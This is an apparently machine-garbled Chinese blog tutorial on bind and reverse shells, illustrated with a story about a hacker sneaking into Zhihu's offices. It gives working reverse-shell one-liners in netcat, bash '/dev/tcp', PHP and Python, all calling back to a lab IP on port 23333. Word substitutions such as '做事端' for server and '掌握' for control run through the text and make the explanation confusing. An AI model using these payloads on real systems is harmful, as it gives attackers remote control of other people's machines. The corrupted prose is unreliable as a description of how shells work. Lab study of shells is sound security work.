实际上,很早很早以前就听说过反弹shell,我最早做的网络安全实验就开始反弹shell。比如这个知乎live中的第三个实验TCP会话挟制,就反弹了shell。一年前在与攻防团队的互换会上,再次听到反弹shell,当时也没放在心上,反正挺主要的。直到本日,才算彻底明白反弹shell是咋回事。如果用一句话概述,那么反弹shell便是:
黑客掌握了目标,弹一个shell,构建一个稳定的通信后门。
【网络安全】TCP-IP协议攻击 作者 ailx10

先弹shell便是正向shell,后连接后弹shell便是反向shell,先监听
正向shell:客户端想要得到做事真个shell
假设小黑是一名黑客他悄咪咪溜进了知乎总部大楼,创造一台刘看山的电脑,但是刘看山出门了于是小黑通过nc将这台电脑的掌握权通过23333端口发射出去小黑做了一系列的操作,又悄咪咪的原路返航回到家后,通过nc连上刘看山的电脑后来,刘看山的隐私透露了~(这里小黑是客户端,刘看山是做事端,做事端发射shell)反向shell:做事端想要得到客户真个shell(也便是反弹shell)
假设小黑是一名黑客他悄咪咪溜进了知乎总部大楼,创造一台刘看山的电脑,但是刘看山出门了小黑创造电脑里有一个有趣的文件(刘看山的秘密)小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航回到家后,小黑打开这个文件创造电脑被刘看山掌握了~(这里小黑是客户端,刘看山是做事端,客户端发射shell)正向shell(做事端送shell)
第一步:在kali rolling(做事端)上监听23333端口,并反弹shellnc -lvp 23333 -e /bin/sh
nc 192.168.160.140 23333
反向shell(客户端送shell)
第一步:在ubuntu18上选择增强版的netcat一样平常ubuntu默认的是free-bsd版本的ncupdate-alternatives --config nc
nc -lvp 23333
nc 192.168.160.140 23333 -e /bin/sh
bash反弹shell
做事端(kali rolling上监听23333)客户端吃钩子,做事端就成功掌握客户端了客户端(ubuntu18上bash反弹shell)bash -i >& /dev/tcp/192.168.160.140/23333 0>&1
php反弹shell
做事端(kali rolling上监听23333)客户端吃钩子,做事端就成功掌握客户端了客户端(ubuntu18上bash反弹shell)php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'
python反弹shell
做事端(kali rolling上监听23333)客户端吃钩子,做事端就成功掌握客户端了客户端(ubuntu18上bash反弹shell)python -c 'import socket,subprocess,os; \s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.160.140",23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本篇完~